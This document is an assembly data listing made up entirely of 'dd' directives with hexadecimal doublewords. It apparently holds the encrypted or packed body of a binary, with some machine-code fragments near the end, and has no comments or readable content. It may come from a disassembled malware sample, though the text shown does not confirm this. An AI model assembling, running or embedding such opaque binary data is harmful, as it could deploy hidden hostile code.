		dd 0E2EA6000h, 2557E3ABh, 367F605Ah, 320566E0h,	22150E44h
		dd 327F6622h, 22CF3EEh,	0B79C60CCh, 34514DC9h, 31EDE3AFh
		dd 0E2EA605Ah, 327D62E2h, 5A156654h, 32154622h,	0A7EA667Bh
		dd 345156B1h, 3164E3CDh, 0B79C6066h, 345143D0h,	327D26E2h
		dd 5A156654h, 32146622h, 0A7EA667Bh, 345156B1h,	22ACE3CDh
		dd 879E6066h, 34517E28h, 2F00FB03h, 879C6000h, 34517AC7h
		dd 34FB98h, 0AF9E60CCh,	34517B51h, 0CB966DA9h, 0ED916911h
		dd 62156682h, 0F2260615h, 2BECE3ABh, 0EAB6055h,	31156688h
		dd 54354230h, 1651658Fh, 4A65ED31h, 1231128Bh, 0BB0D18CFh
		dd 7635C39Fh, 3DEAE317h, 32156C0Dh, 231B8E44h, 0A3FC6622h
		dd 63156611h, 0E07EB103h, 0A780EF40h, 58132206h, 22150E15h
		dd 58476688h, 0B809944h, 0BB132212h, 7601AF94h,	6BC5ED8Eh
		dd 3205B9ACh, 31B83022h, 0A5314255h, 42B903h, 0B71AC884h
		dd 0CDEA99DBh, 60EE4D4Fh, 8F9EB103h, 34514DC9h,	1EAAFA1h
		dd 13ECD1h, 369E2049h, 3AFCA7C3h, 3D5FAE11h, 0CDEA8C94h
		dd 0C5D4ED77h, 309C3C94h, 6011A4A1h, 2BECE3EEh,	0A79E60CCh
		dd 34517FBDh, 12B0F31Bh, 0B61A6055h, 32156682h,	0F496381Eh
		dd 0CD8E8F26h, 6C4F99EEh, 0F54D3FE9h, 760F17C1h, 32156624h
		dd 5790A111h, 32132294h, 0B1156644h, 7903CC9Fh,	0B61A6617h
		dd 32156680h, 5192FBC9h, 0E1EA6068h, 31B4E3EEh,	8F9660CCh
		dd 345165E5h, 50976946h, 0F5156611h, 7616C70Dh,	32156742h
		dd 87980622h, 345E7193h, 1F8DB05h, 0CC3E600Fh, 8F9EB1A9h
		dd 34514D9Ch, 1EAAF0Bh,	13EC84h, 369E20E3h, 3AFCA796h
		dd 3D5FAEBBh, 0CDEA8CC1h, 0C5D4EDDDh, 57905FC1h, 3D13228Ah
		dd 321571C0h, 0B3A8E522h, 32132232h, 321FE387h,	0B7D26644h
		dd 34516A5Fh, 32156610h, 65D5DFE9h, 0D4AF69D0h,	9F42FCBDh
		dd 2EF0D398h, 74D260CCh, 321566B8h, 0DCFB5B22h,	0B71A88FFh
		dd 321566A8h, 0EFC858C5h, 0B71ABBFFh, 32156605h, 3215604Fh
		dd 0F4966644h, 0D7A0EF26h, 0DB13220Dh, 32156E71h, 0B726BECFh
		dd 34516A5Fh, 1916AED0h, 22D5A74Ah, 0AF9CA777h,	34516A5Fh
		dd 3315662Ch, 77966988h, 0B3156644h, 89AEDD1Ch,	0B9069AAh
		dd 0F5156688h, 32156642h, 36D3E522h, 2EF0D398h,	0AF9E60CCh
		dd 34517B51h, 0E29E6DA9h, 19D7ED71h, 76125F0Dh,	30F5A742h
		dd 274E321h, 9F836055h,	769CA78Bh, 0DB747A60h, 3215665Eh
		dd 0FB263440h, 26DCF303h, 302E6000h, 322DE22Dh,	0F0966611h
		dd 0BF2E278Ch, 345146E1h, 0CDFDE32Dh, 879899EEh, 345E70EFh
		dd 3664DBC9h, 0B6B96066h, 349169D1h, 98156688h,	0CDEA97ADh
		dd 3215DEDDh, 0BF986611h, 345128DDh, 0BF9C87BBh, 34517FDBh
		dd 0B9433F4Bh, 76087315h, 0B91EED42h, 760C9FA7h, 31F5B717h
		dd 7603EF0Dh, 0A4E35542h, 0D2D4CB44h, 53906513h, 0A41322B8h
		dd 6CD465E9h, 1BA0DBA1h, 3D146055h, 32155F0Ch, 4F985D44h
		dd 3D13220Fh, 32154B95h, 17985D88h, 3D13224Ah, 321547A6h
		dd 0B7985D11h, 3D132295h, 321573C0h, 0F788EB22h, 0CD132D3Ah
		dd 0BBEDED5Bh, 760BEBC1h, 34A18F24h, 0AF986611h, 345E4D4Dh
		dd 8F96B5BBh, 34514F97h, 2F916911h, 9156688h, 760FCFC1h
		dd 3E916924h, 9156611h,	760C530Dh, 37906942h, 0DB156622h
		dd 0CDEA99A8h, 2C38E3B3h, 0B71A6000h, 3215663Ah, 1D04DB92h
		dd 3D1560CCh, 32156DC1h, 890EB22h, 0DB132D15h, 0CDEA991Dh
		dd 2C38E37Fh, 0B61A6066h, 0CDEA9998h, 2476DB0Bh, 3D14600Fh
		dd 321571A7h, 0F0905D11h, 3D132D9Eh, 32156DC1h,	9290EB22h
		dd 0DB153EF7h, 0CDEA99E5h, 8F969977h, 345142C7h, 55916911h
		dd 915668Bh, 7903C8C1h,	0B9121324h, 763DDF94h, 0B72E218Eh
		dd 345E70F2h, 0B79E6157h, 345176C8h, 80905DCFh,	47132D52h
		dd 5B90ED25h, 75132204h, 24AFE3B3h, 3560600Fh, 165CE3A9h
		dd 9526055h, 7903D80Dh,	0B9121342h, 760AE7A7h, 0B72E2117h
		dd 345E704Ah, 0B79E6131h, 345149E7h, 0F4905D56h, 47132D9Eh
		dd 790ED43h, 75132203h,	24DFE32Ah, 356060C3h, 3D88E3CFh
		dd 9526066h, 7903A894h,	0B912138Eh, 76011FC1h, 0B72E2124h
		dd 345E70C3h, 0B79E61FDh, 34517CF1h, 0E8905D65h, 47132D07h
		dd 0E790ED8Fh, 7513225Eh, 24C3E319h, 2260605Ah,	32B0DB0Bh
		dd 47156000h, 0EB90ED25h, 7513223Dh, 1E9CDB0Bh,	46156000h
		dd 50905D2Dh, 47132D06h, 4F90ED8Fh, 75132259h, 23CDBA1h
		dd 46156055h, 1BA8E5FAh, 3213224Eh, 0B72E0F56h,	345E7157h
		dd 0B79E61FDh, 34516489h, 64905D65h, 47132D06h,	0F90ED8Fh
		dd 7513224Ah, 255FE319h, 3560605Ah, 1D30E303h, 9526000h
		dd 79023CA7h, 0B9121317h, 76251F0Dh, 0B72E2142h, 345E717Ch
		dd 0B79E6164h, 345173C5h, 7C905D03h, 47132D35h,	3390ED16h
		dd 751322A9h, 2547E37Fh, 35606069h, 1454E39Ah, 0B15260CCh
		dd 761F4FF9h, 0B61A6624h, 3215641Bh, 24CBE3B3h,	3560600Fh
		dd 2EC0E3A9h, 9526055h,	7902140Dh, 0B9121342h, 760D17A7h
		dd 0B72E2117h, 345E706Ah, 0B79E6131h, 345161DFh, 0D4905D56h
		dd 47132D9Eh, 0EF90ED43h, 75132236h, 24FFE32Ah,	356060C3h
		dd 1AC4E3CFh, 9526066h,	79038894h, 0B105138Eh, 7615C3F9h
		dd 35606624h, 3B28E39Ah, 95260CCh, 790394C1h, 0B9121324h
		dd 763C3794h, 0B72E218Eh, 345E70B2h, 8F967657h,	345166B4h
		dd 0B9121388h, 761F0FC1h, 0B72E2124h, 345E70EBh, 0B79E61FDh
		dd 34516BA1h, 0CC905D65h, 47132D07h, 0B390ED8Fh, 7513225Ah
		dd 2513E319h, 2260605Ah, 32B0DB0Bh, 47156000h, 9390ED25h
		dd 7513220Fh, 2517E3B3h, 2260600Fh, 32B0DBA1h, 47156055h
		dd 2390ED8Fh, 75132243h, 251FE319h, 3560605Ah, 3E4CE303h
		dd 9526000h, 790268A7h,	0B9121317h, 7627CB0Dh, 0B72E2142h
		dd 345E7130h, 0B79E6164h, 34517391h, 24905D03h,	47132D35h
		dd 0F90ED16h, 751322ABh, 250FE37Fh, 35606069h, 184E39Ah
		dd 95260CCh, 790278C1h,	0B9121324h, 763ECB94h, 0B72E218Eh
		dd 345E7166h, 0B79E6157h, 3451495Ch, 14905DCFh,	47132D53h
		dd 8F90ED25h, 75132219h, 2710E3B3h, 35606000h, 25E8E3A9h
		dd 9526055h, 79024C0Dh,	0B9121342h, 7617EBA7h, 0B72E2117h
		dd 345E71EEh, 8F967F31h, 345E714Ch, 0B11C1311h,	763CD335h
		dd 35616642h, 3078E3A9h, 9526055h, 79020C0Dh, 0B10C1342h
		dd 7902089Fh, 3B606617h, 1BA0DB0Bh, 46156000h, 0B390ED25h
		dd 7513223Bh, 253BE3B3h, 3560600Fh, 1764E3A9h, 9526055h
		dd 7902540Dh, 0B9121342h
		dd 7612DBA7h, 0B72E2117h, 345E71BEh, 0B79E6131h, 34514213h
		dd 8905D56h, 47132D9Fh,	0B90ED43h, 75132213h, 252BE32Ah
		dd 356060C3h, 2D44E3CFh, 9526066h, 79022494h, 0B912138Eh
		dd 7609B3C1h, 0CD1E2124h, 3210E21Eh, 0D8FC6688h, 9EA99BFh
		dd 763953A7h, 39906917h, 0BF156688h, 78AD71C1h,	0C9C68F24h
		dd 0B72E99EEh, 34514A7Dh, 320DE34Bh, 8F966622h,	345E7072h
		dd 39906989h, 0BF156644h, 6AF345A7h, 0C9BA8F11h, 0B72E9977h
		dd 345E70DAh, 3219E22Dh, 0B72E6611h, 345E702Ah,	3210E34Bh
		dd 0A0FC6622h, 8CEA99EAh, 32156688h, 3D1498C7h,	321523A7h
		dd 0A0905D11h, 3D132D9Eh, 32156DC1h, 0D690EB22h, 0DB153E73h
		dd 0CDEA9DE5h, 2483E37Fh, 0B71A6069h, 3215661Ah, 514FE305h
		dd 64FC661Ch, 9EA99D9h,	7903FC94h, 3990698Eh, 0BF156644h
		dd 6A76F9A7h, 0C92A8F11h, 0F29E9977h, 321567FAh, 3DE36D22h
		dd 32156394h, 0C9368F88h, 0C29E99BBh, 1378D3ABh, 879C6055h
		dd 345142E5h, 3DFC58C4h, 321540A7h, 336BED11h, 0EC9E988Bh
		dd 7215A5C5h, 8F2E6622h, 3451477Ch, 321DE487h, 0C92E6644h
		dd 3210E02Dh, 0D4FC6611h, 0B9EA9972h, 761617F9h, 2F90A124h
		dd 3213220Fh, 52156688h, 1678D3CDh, 0AF986066h,	345E57B7h
		dd 0B01AB577h, 32156666h, 0F21FFBAFh, 0E1EA6058h, 0CDCBE587h
		dd 879E99BBh, 3451424Fh, 2C08D398h, 0AF9860CCh,	345F056Bh
		dd 0B79EB5DDh, 3451477Ch, 1678E301h, 0BF746000h, 793B69BFh
		dd 0BFC69917h, 79259115h, 3DC69942h, 32156AA1h,	5F90E511h
		dd 371322ACh, 0CDEAB8ADh, 1288EBDDh, 0CD132D20h, 3A96695Bh
		dd 0B1156644h, 0FC62E0h, 0BF156611h, 7BD56C15h,	3DC69942h
		dd 32156DA1h, 5FA0ED11h, 0DB1322ACh, 321561C4h,	1678EBA9h
		dd 879C6055h, 345142E5h, 0EBE2A86Fh, 96E69709h,	0CDEAF0F8h
		dd 0B588EB77h, 0CD132C27h, 19D2EDF1h, 76161794h, 0E390EF8Eh
		dd 0B913226Bh, 761617A7h, 0BF453117h, 78769A05h, 0B9C49942h
		dd 7605DFA7h, 0B9423617h, 7616170Dh, 0BF983642h, 345F0209h
		dd 0E29EB7EEh, 0BF3EAE03h, 345176FDh, 288CDBA1h, 3D156055h
		dd 32154D0Ch, 0FB90ED44h, 19132213h, 760FFF94h,	3DD45D8Eh
		dd 321571C2h, 7F90ED22h, 31132216h, 760FFF0Dh, 0BF90EF42h
		dd 0DB13223Ch, 32156652h, 7AD4EDD9h, 321A9949h,	0B79C2622h
		dd 345157D8h, 262CE389h, 0B7D26000h, 34517CBBh,	32156611h
		dd 327D26E2h, 63156654h, 0A7EA6648h, 34515628h,	1618F377h
		dd 0B79C6000h, 3451616Fh, 2C98E398h, 0CD4C60CCh, 760BEBF1h
		dd 8BA09924h, 65132201h, 3164D377h, 0B7986000h,	345F0E9Fh
		dd 0BF14B6EEh, 34517C11h, 2C98DBCFh, 879E6066h,	345176A8h
		dd 879EC27Bh, 34517AA1h, 0CE53A18Fh, 32156611h,	3710A649h
		dd 3D813184h, 170CE321h, 0BF9E6055h, 34517805h,	0F5B86ECDh
		dd 32159A64h, 879C6611h, 34517A6Dh, 3DEA9EC7h, 321546A7h
		dd 0EF2BE711h, 3DC8BB55h, 321572C1h, 3213A122h,	0B1156611h
		dd 879C624Eh, 34517AA1h, 0CDE380CBh, 31D5A7EEh,	170CE38Bh
		dd 8F966000h, 34517FAFh, 0AF916910h, 0B3156688h, 98BFCC7Ah
		dd 20906988h, 0B1156611h, 74D2624Eh, 321566B8h,	0DBA5F122h
		dd 321565F8h, 0DAA5F188h, 87A8E514h, 3313220Bh,	322BE21Eh
		dd 32AD6688h, 0B1156645h, 7903CC9Fh, 0B61A6617h, 32156680h
		dd 59EBFBC9h, 0E1EA6068h, 3D855991h, 32156E0Ch,	37D2E544h
		dd 321525CBh, 62EDE511h, 321FE487h, 0A2A56644h,	0DBBF3E88h
		dd 32156635h, 4D95CCD0h, 0B71A8FBBh, 3215663Ah,	24BFDB92h
		dd 3D1560C3h, 32156EC0h, 0FC88EB22h, 0CD132C7Ah, 3652EE5Bh
		dd 2C98E3CFh, 0F53E6066h, 99118E92h, 0CE53A125h, 32156644h
		dd 0CDEA77CBh, 0D7A0EFEEh, 60132294h, 3295662Ch, 0CD150C22h
		dd 7601AFA4h, 4F80998Eh, 6813225Eh, 2F00EBA9h, 33D26055h
		dd 32156688h, 0BB11A7C7h, 760873AFh, 0C7058F17h, 96FC9977h
		dd 52156642h, 2F00EBA9h, 3B9E6055h, 24B3EB01h, 0A94600Fh
		dd 7E51326Ch, 3209E31Eh, 0B3736688h, 1C59623Ch,	3205E32Dh
		dd 0C29E6611h, 0B913A00Bh, 761C63C1h, 33138F24h, 0C29E6611h
		dd 0FB26B603h, 3D155AE8h, 32153BA6h, 3D385A11h,	0CDEA890Ch
		dd 3D3B5ABBh, 32155BA6h, 3D255A11h, 3214660Ah, 3D2C5A44h
		dd 0CDEAB1A4h, 3D545AEEh, 3215960Ah, 3D4F5A44h,	0CDEAA1A4h
		dd 3D4A5AEEh, 0CDEAD90Ch, 3D745ABBh, 3215BEA0h,	3D6F5A11h
		dd 0CDEAC90Eh, 32DE8FBBh, 9576622h, 0F09169C7h,	78156688h
		dd 0CD8F8F05h, 0FB9099DDh, 32A6E21Eh, 87986688h, 345165C1h
		dd 0C89EACA9h, 3DBB48A1h, 0CDEA9F0Dh, 0C5DA4DBBh, 0B5EC4DFBh
		dd 0F4B195E6h, 0BF1599CFh, 7616E3D1h, 9390ED24h, 0B713220Eh
		dd 28906948h, 0F4156644h, 76178FA7h, 0E07D2117h, 0CDC1FC2Fh
		dd 76028FF1h, 9D90EB24h, 0CD132166h, 0E2EA3458h, 0B71AA6C1h
		dd 3215661Ah, 30B4E39Ah, 0F29060CCh, 320FE34Bh,	0B7D36622h
		dd 345164F8h, 2EFC0EC4h, 87EABF9Eh, 345171CBh, 45BAE39Ch
		dd 0E2EA60CFh, 0B7C59916h, 379069E2h, 0DB156611h, 321566A9h
		dd 24B3E3CDh, 64456069h, 410FE39Ch, 0E2EA60CFh,	0B71AA64Fh
		dd 32156627h, 321562F8h, 1651EF88h, 52D60758h, 24B3EBA9h
		dd 0B945605Ah, 0E556549h, 329DF6CFh, 0A79C6622h, 345178C8h
		dd 32159E8Dh, 3E45ED44h, 3F10F3ABh, 0B94D6055h,	193142CCh
		dd 37905D85h, 3D13222Fh, 32157693h, 0EB905D88h,	3D13225Ah
		dd 321562A1h, 36D70711h, 36D20788h, 32156660h, 1651A122h
		dd 32156615h, 3210DE88h, 0BF986644h, 34512877h,	0B87587EEh
		dd 3DFC5A8Eh, 321558C0h, 3DFD5A22h, 32152495h, 3D1A5A88h
		dd 321574C0h, 3DD85A22h, 32155995h, 3DFE5A88h, 32152FC0h
		dd 0B8D60722h, 0D195674Fh, 0B2EEE678h, 0CDFAE34Bh, 0EC9E99DDh
		dd 3113A592h, 26FC64D6h, 0B9156644h, 0C996677Ch, 1B9169EAh
		dd 0B9156688h, 334B659Ah, 0DB10A5A1h, 0CDEA99D8h, 334BD087h
		dd 3D3B8DC7h, 0CDEADAA6h, 321F8FEEh, 4C956688h,	0B71A9845h
		dd 0CDEA998Fh, 0CDEA06F8h, 61443077h, 9ED55513h, 0D195BEA8h
		dd 42EEE6E1h, 32F9E287h, 3D296644h, 3230E22Dh, 0DB296611h
		dd 3391E287h, 0D9296644h, 3000E22Dh, 0D1296611h, 3264E287h
		dd 0D0296644h, 3056E22Dh, 694A6611h, 0F5D638D1h, 790210C1h
		dd 32156024h, 0B20BEC11h, 0C995966Bh, 0D19069C4h, 7CEA99DDh
		dd 1378E39Ah, 0A79E60CCh, 34517859h, 0F196B8A9h, 304B6517h
		dd 0B01ABEB3h, 3215664Ch, 0B41ABC19h, 0CDEA99AFh, 0D996B9A3h
		dd 54B80042h, 0B1BEF589h, 0E9C62D7h, 1661EFACh,	5FA0EF48h
		dd 6D132206h, 0B14B3F4Ah, 52FC624Ch, 0F5EA99BEh, 790210A7h
		dd 32156417h, 3DCBED88h, 0CB9568F2h, 3A9669A2h,	31156611h
		dd 3FFC2551h, 0B2156644h, 0EBE299CBh, 32EA8790h, 0EB3E6688h
		dd 1378E3CFh, 0A79E6066h, 3451780Ch, 2864DB0Bh,	3D146000h
		dd 3215C5A6h, 3DCD5D11h, 3215FD0Ah, 3DCF5D44h, 0CDEA27A0h
		dd 329B8FEEh, 0B7D26688h, 345E7132h, 32156620h,	841AB89Ah
		dd 0B2ECE686h, 321DE54Bh, 0EB166622h, 32188F52h, 0DB956688h
		dd 0B3CC91BBh, 321599C3h, 0B9CC4D11h, 76340B0Dh, 2F80ED42h
		dd 0B113223Ch, 760F17ACh, 0B61A678Eh, 3215660Ch, 0B01ABE19h
		dd 32156619h, 0B41ABCB3h, 0CDEA98A2h, 981AD66Ch, 0B2A5689Bh
		dd 381A8708h, 0ED3ECC85h
		dd 0A1118DA1h, 30D3E5BAh, 1678D301h, 0B7D26000h, 34517C53h
		dd 32156610h, 6911A20Bh, 36D1E51Dh, 0DB11A2A1h,	0CDEA9F66h
		dd 98FCD6C6h, 0F53EA0CFh, 99118EA1h, 6911A292h,	0F69638D1h
		dd 0CBD28F40h, 0B7D299DDh, 345E7167h, 3215668Dh, 0F196B8CFh
		dd 0B90B6526h, 76340B94h, 2F80ED8Eh, 7C13225Ah,	2E70DBA1h
		dd 3D146055h, 3214650Ch, 3DCD5D44h, 32156EA0h, 3DCF5D11h
		dd 32154D0Eh, 5FA0EF44h, 0B9132206h, 7902108Ch,	1649678Eh
		dd 32CB8F48h, 0F54A6622h, 76090394h, 3215678Eh,	6C4C3D44h
		dd 0DB11A2A1h, 0CDEA9EE6h, 2864DB0Bh, 3D146000h, 3215DDA6h
		dd 5F884D11h, 0B91322A9h, 761617C9h, 19DE6524h,	37FCE5DEh
		dd 0A3BF8F38h, 36D1E5EFh, 0B14B3F79h, 1CFC62D5h, 0F5EA9971h
		dd 790210C1h, 32156424h, 3DCBED11h, 0CB95683Eh,	3A9669C4h
		dd 31156622h, 3FFC25C8h, 0B2156688h, 0EBE299ADh, 32EA87A3h
		dd 0EB3E6611h, 1378E303h, 0A79E6000h, 3451783Fh, 0CDEA20F8h
		dd 4490A177h, 30132D53h, 0B9156622h, 3CA369CFh,	3D959F08h
		dd 32156EC7h, 71CC6522h, 32156BF8h, 0CDFCE688h,	0D394BFB3h
		dd 321566DDh, 0B79EBF3Ah, 345147E5h, 2C08F3CFh,	8F966066h
		dd 34517C60h, 0FB916989h, 9EA99BAh, 3A9769FAh, 9156611h
		dd 55936952h, 7CEA99B9h, 0FD3EA8A9h, 82108F92h,	9984CC61h
		dd 0CDEDEEADh, 0E13ECDDh, 349169F9h, 0CA156688h, 32157EADh
		dd 0EC9E3522h, 0B1143812h, 0DAA5634Bh, 0B1CA4DEEh, 998662C9h
		dd 37D3E54Ah, 5444A571h, 0F12960CFh, 3255E22Dh,	0F9296611h
		dd 322DE287h, 0F0296644h, 322DE22Dh, 0F8296611h, 3225E287h
		dd 0F736644h, 0B61A43DDh, 32156621h, 0CD3B5BEEh, 3218E34Bh
		dd 749F6622h, 0EE54213h, 11916928h, 6B156644h, 322C8FDAh
		dd 0FB266611h, 320C8FC9h, 31AC6644h, 0DB156622h, 3215661Eh
		dd 32156031h, 32108F44h, 35AC6622h, 0C1156611h,	2F98ED2Ch
		dd 0B713225Ah, 349069EBh, 0BB156611h, 760B7B3Dh, 0F1EC3F42h
		dd 0E13ED44h, 579169D2h, 0B8156688h, 0C2F6E69Ch, 3D659DA2h
		dd 3215FA95h, 3DFC5A88h, 321529C0h, 3DFE5A22h, 32152195h
		dd 3DD75A88h, 321559C0h, 3DDE5A22h, 32155195h, 0CD280088h
		dd 1F916961h, 0E156622h, 179169DBh, 0E156688h, 509169A7h
		dd 54156622h, 3DEA482Ch, 32156B0Dh, 3053EC44h, 92299606h
		dd 3213E21Eh, 0DBED6688h, 3215664Bh, 2C08D3ABh,	0AF986055h
		dd 345F05A7h, 0F1ECB5BBh, 2253ED72h, 352CE398h,	0B14D60CCh
		dd 8F987A82h, 34515643h, 165165BCh, 8F98CDACh, 34516CF1h
		dd 1651658Fh, 0BFBE3635h, 7603EF35h, 7616CB42h,	6CBE4E06h
		dd 0AF9830D2h, 345F0580h, 95FCB5BBh, 0DFFFFFFFh, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 547DC0D5h, 0ED96A40Fh, 8A152AA8h
		dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh,	2C5E8979h
		dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
		dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
		dd 8660D554h, 2559D7BAh, 0C0CCB7CEh, 32DCF143h,	8C5FF020h
		dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 71FC38C8h
		dd 7462C1Eh, 0E28BD6DFh, 3C6D552h, 92B85E00h, 5E98354h
		dd 0CB8BA4F3h, 0DABA31E4h, 32565DB1h, 56BC2FEBh, 52501DDAh
		dd 6D2C113Ch, 77DDD3FBh, 0B95163B9h, 75DF79F4h,	221331B5h
		dd 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 76543C34h
		dd 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FB30418Ch
		dd 0F53FD525h, 19EADFDh, 3422913Fh, 0AC7ACFB7h,	0AD29B723h
		dd 0FD7A1A20h, 7C277975h, 0B784A698h, 96FFA073h, 7D7C6589h
		dd 5E983C8h, 0DB8BA4F3h, 1782BD8Dh, 8D8D064Bh, 64B3269h
		dd 156644B8h, 0C1CF2B32h, 73102E9h, 0C783C8D0h,	850F4904h
		dd 0FFFFFFF2h, 0BD83C08Bh, 64420CDh, 83097500h,	440B25BDh
		dd 19740006h, 0C08B5350h, 411B8h, 29858900h, 8D064422h
		dd 46A8B69Dh, 5BD3FF06h, 25BD8358h, 6440Bh, 53501774h
		dd 411B8h, 29858900h, 8D064422h, 46A5579Dh, 5BD3FF06h
		dd 0BBC08B58h, 4672A4F2h, 349B8D8Dh, 890F064Bh,	5, 7E0737BAh
		dd 5D8D891Eh, 8B06442Fh, 7985C7F3h, 5C064406h, 6A000062h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0FBC3C352h, 0E9835C3Ch, 0Eh, 0A9C3386Ah
		dd 7C3F52A4h, 9FBB0B8Bh, 85C76748h, 6441071h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FCC35545h
		dd 2FEAA87h, 2F7C780h, 32A5BD8Bh, 0B5FF0644h, 644196Dh
		dd 24199589h, 95FF0644h, 6440BF9h, 0C85BD29h, 6A0644h
		dd 1C4D95FFh, 0C08B0644h, 0BC8C6AEBh, 803AAC2Eh, 3F7B72CFh
		dd 0D53236AFh, 0F3DCDAAEh, 6E136B20h, 45AD0091h, 0B0370BB7h
		dd 0F4CDF5F7h, 80D10757h, 6C7F933Ch, 0B63D1752h, 0AA8B9DC7h
		dd 252CD0DAh, 0CAF06344h, 89898A24h, 4DD2440Eh,	4E2CE3EAh
		dd 98460BE8h, 0B89FAB55h, 5B739390h, 0DEB66242h, 0FB56A2CAh
		dd 687BD5C1h, 5A86B4DFh, 0CCFECC15h, 0E4047199h, 0EDE9h
		dd 8C666000h, 0F04A8D8h, 0DF84h, 2DB58B00h, 8306441Eh
		dd 850F00FEh, 22h, 2E985C6h, 68450644h,	8E726969h, 2D7DB5FFh
		dd 858D0644h, 64777AFh,	8589D0FFh, 64420E1h, 3E80F08Bh
		dd 31850FE9h, 8D000000h, 497BF085h, 8BD0FF06h, 44041DBDh
		dd 84C78106h, 8B000011h, 441E2DB5h, 0B9F78706h,	8, 0B58BA4F3h
		dd 6441E2Dh, 0A95E858Dh, 0D0FF0647h, 0D9DB58Bh,	0FE830644h
		dd 22850F00h, 0C6000000h, 4402E985h, 0F4685406h, 0FFFF4EBEh
		dd 442D7DB5h, 0AF858D06h, 0FF064777h, 9D8589D0h, 8B06440Dh
		dd 0E93E80F0h, 3A850Fh,	0B58B0000h, 6440D9Dh, 7BF0858Dh
		dd 0D0FF0649h, 41DBD8Bh, 0C7810644h, 1184h, 8B08C783h
		dd 440D9DB5h, 0B9F78706h, 8, 0B58BA4F3h, 6440D9Dh, 0A95E858Dh
		dd 0D0FF0647h, 858DC361h, 64B350Fh, 2C558589h, 4EB0644h
		dd 1A75474Dh, 5C2E9h, 76E65C00h, 0DF85E1DFh, 64D84876h
		dd 2E8EF3CDh, 954FB987h, 26161E3Ch, 93AD04C0h, 2719B034h
		dd 97A900BCh, 5B1FB62Eh, 5DF9A03Fh, 84D2C2E5h, 0BD2B1536h
		dd 41A09E07h, 0CCF2BA9Bh, 1705BE57h, 0B3190FE7h, 0AACEEF55h
		dd 30008635h, 476647C9h, 0DE86E0DEh, 68DC4977h,	3DAB95F1h
		dd 94F1CF87h, 307A8E83h, 5F6179EEh, 0C45D7CE8h,	61C58AFAh
		dd 655BC2E3h, 7CE041FEh, 87FAC45Dh, 29524CD5h, 20440FFDh
		dd 0A039A31Eh, 9A42BF81h, 116A2203h, 9BB2805h, 4DEF536Dh
		dd 2F92AC05h, 0A71A248Dh, 3392AC35h, 2B5028B1h,	0DAF12FFh
		dd 75EF5769h, 2C85CDECh, 0BA2CB112h, 93B2930Ah,	0E359C9F7h
		dd 0EBAD32ABh, 92C93023h, 1628B133h, 0E0AB32AAh, 0DBBD8F9Bh
		dd 0F569CDBFh, 0B4C676EDh, 19E4F40h, 0C930025Ah, 4D735273h
		dd 542F67D5h, 0CC5337CAh, 0C930020Dh, 0A4D28AF6h, 8BFBCD85h
		dd 0A801F421h, 71h, 6ED64F1Ah, 94AF68F7h, 770CC930h, 0B3DE46ABh
		dd 11701F4h, 0A5000000h, 2BEE7115h, 0D4C93094h,	4869F06Ch
		dd 69571F3Eh, 0BADE47FDh, 491697C8h, 11599BD8h,	940DB72Fh
		dd 1E8735AAh, 17042E55h, 16BB2AAFh, 8F1637ADh, 5AC574EBh
		dd 2706C930h, 0B08E2706h, 904BD453h, 3DC9305Ah,	9064E78Eh
		dd 7C5D2B9Bh, 0AE90F45Dh, 8C309136h, 5D153415h,	0EE7115EFh
		dd 0C930942Bh, 0B9CF6DD4h, 78EED098h, 0FB6B55CCh, 0EB67511Ah
		dd 7263181h, 8044A09Eh,	3C12719h, 0F628E89Ah, 0BD2FDA98h
		dd 0E14ED8A3h, 6746DF85h, 23C5846h, 0E753D9Fh, 13D13724h
		dd 0BA1F84BAh, 21B8994Bh, 0A039A31Fh, 0A4F183E7h, 32D9660Dh
		dd 0FF2B5018h, 0F43EBA1Ah, 0B77B01h, 211F0000h,	0A7861FC5h
		dd 67155DEFh, 895691E8h, 234A9B83h, 0F7EEFD8Fh,	7615F17h
		dd 0E47DDF42h, 437DE4C5h, 27197DDFh, 0C53C02BAh, 0E7AF8E17h
		dd 60E4407Eh, 0E05CC7F9h, 0DD493279h, 8DAC1070h, 279CA2C6h
		dd 695624BDh, 1ABD7B6Dh, 502B6342h, 45FF69C6h, 0F074D2ECh
		dd 8636AA94h, 0F86957CEh, 0FE9ADD44h, 0BA61FE9Ah, 13C92F99h
		dd 98EEAD32h, 0FEDFC92Fh, 0AE61CDB6h, 0C58D2F90h, 0F3B6A3F3h
		dd 86166401h, 15069679h, 5A7BE95Ah, 4D4212h, 18260000h
		dd 0CE7C34A8h, 29F76715h, 959458E7h, 0DF85E3DDh, 53097846h
		dd 4FDBA0CAh, 66DF84E2h, 44DD87E1h, 0CC654465h,	6DD74F7Eh
		dd 15CF3709h, 9D5BC45Dh, 3CC93094h, 4024DB47h, 30941CDFh
		dd 0C48CADC9h, 0F4B392F2h, 1A301h, 4F110000h, 0CEF069D3h
		dd 8635AA55h, 47C93094h, 0D3400735h, 0F1D0517Bh, 4A3149D0h
		dd 0AD0F73E0h, 67AE4204h, 2C2E9C03h, 0CDBFCF74h, 9317DF9h
		dd 22BB9A0Fh, 943DA71Ch, 128B39AAh, 0EBB5CC8Dh,	949EE5C2h
		dd 0E2863EA7h, 55AEBD90h, 0EB990FCAh, 0EB99B8C2h, 4C0402DFh
		dd 0FA6ADBE5h, 39E85D63h, 0EC28F3A6h, 0D4F5D4C2h, 0FE28534Dh
		dd 5430B411h, 28ECAF30h, 0AFDDC2ECh, 0F4DDE461h, 347C5DCDh
		dd 1B3BAB9Dh, 3EF8FBB0h, 4A000001h, 2BEE7115h, 9CC93094h
		dd 1FB3F5BDh, 0A896F296h, 49BA8438h, 0FE4CD39Bh, 4FCF74C1h
		dd 5CC9F76Eh, 67F41E8h,	27FE441h, 0C3E27B5Ah, 7B1F7BE2h
		dd 0EC6735E4h, 0FFB796C2h, 34B364C1h, 0D723FA60h, 8BEF8BAAh
		dd 77EE4EB5h, 9A12C956h, 9ABBC2EBh, 2E554BD2h, 29AE1704h
